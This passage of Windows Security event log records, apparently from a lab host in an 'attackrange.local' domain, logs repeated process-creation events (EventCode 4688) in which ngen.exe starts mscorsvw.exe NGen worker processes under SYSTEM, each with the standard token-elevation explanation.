start the program using Run as administrator. -03/12/2021 12:07:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254973 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfa8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a4 -InterruptEvent 0 -NGENProcess 5a0 -Pipe 480 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254972 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa58 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4dc -InterruptEvent 0 -NGENProcess 464 -Pipe 4bc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254971 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x4b0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4dc -InterruptEvent 0 -NGENProcess 5a0 -Pipe 51c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254975 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf70 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 544 -InterruptEvent 0 -NGENProcess 560 -Pipe 570 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:49 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254974 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 574 -InterruptEvent 0 -NGENProcess 5a0 -Pipe 4a8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254982 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5bc -InterruptEvent 0 -NGENProcess 560 -Pipe 5c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254981 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x298 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5c4 -InterruptEvent 0 -NGENProcess 5bc -Pipe 5ac -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254980 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x3a0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5ac -InterruptEvent 0 -NGENProcess 5c4 -Pipe 5d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254979 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdd4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 5b8 -Pipe 4b4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254978 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x7ac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5bc -InterruptEvent 0 -NGENProcess 464 -Pipe 5d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254977 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xea4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 528 -InterruptEvent 0 -NGENProcess 4b4 -Pipe 5a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:52 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254976 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 57c -InterruptEvent 0 -NGENProcess 5bc -Pipe 4dc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:53 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254983 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 528 -InterruptEvent 0 -NGENProcess 5e8 -Pipe 544 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:55 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254984 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5d8 -InterruptEvent 0 -NGENProcess 574 -Pipe 5b0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254990 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb90 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5f4 -InterruptEvent 0 -NGENProcess 5c0 -Pipe 600 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254989 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x574 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5e4 -InterruptEvent 0 -NGENProcess 5f0 -Pipe 57c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254988 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x368 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 560 -InterruptEvent 0 -NGENProcess 5d8 -Pipe 574 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254987 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x240 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 5a0 -InterruptEvent 0 -NGENProcess 5f0 -Pipe 5c8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:07:56 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=254986 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf9c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory 